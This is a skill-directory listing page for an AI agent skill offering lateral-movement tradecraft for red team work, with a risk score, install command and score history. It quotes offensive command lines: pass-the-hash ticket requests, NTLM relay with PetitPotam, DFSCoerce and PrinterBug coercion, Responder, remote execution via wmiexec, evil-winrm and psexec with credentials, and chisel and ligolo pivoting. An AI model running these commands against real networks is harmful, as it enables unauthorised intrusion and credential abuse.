← All skills
offensive-lateral-movement
97 / 100 · Low risk
Fine to try.
By SnailSploit/Claude-Red (GitHub) · other · 10,590 stars · scanned at commit a8de813
Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackma…
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README.
Found in 17 places.
Show 14 more
- Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 124
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 143
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 153
impacket-ntlmrelayx -tf relay_targets.txt -smb2support - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 169
python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP> - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 178
python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP> - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 184
python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP> - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 191
responder -I eth0 -wFb - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 212
impacket-wmiexec corp.local/admin:Password1@10.10.10.50 - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 228
evil-winrm -i 10.10.10.50 -u admin -p 'Password1' - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 252
impacket-psexec corp.local/admin:Password1@10.10.10.50 - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 314
ssh -L 8445:10.10.20.50:445 user@pivot-host - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 330
chisel server --reverse --port 8080 - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 344
ligolo-proxy -selfcert -laddr 0.0.0.0:11601 - Skills/post-exploitation/offensive-lateral-movement/SKILL.md, line 367
ssh -L 2222:pivot2:22 user@pivot1
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'offensive-lateral-movement' ] || [ -L ~/.agents/skills/'offensive-lateral-movement' ]; then echo 'A skill folder named offensive-lateral-movement already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/SnailSploit/Claude-Red' "$d" && git -C "$d" checkout --quiet 'a8de813edc9f66f60d44cfe42d47750e89d9930b' -- 'Skills/post-exploitation/offensive-lateral-movement' && mkdir -p ~/.agents/skills && cp -R "$d"/'Skills/post-exploitation/offensive-lateral-movement' ~/.agents/skills/'offensive-lateral-movement' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'offensive-lateral-movement' ~/.claude/skills/'offensive-lateral-movement' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for SnailSploit/Claude-Red shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/SnailSploit/Claude-Red/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | a8de813 | 97 |
| 2026-11-07 | a8de813 | 97 |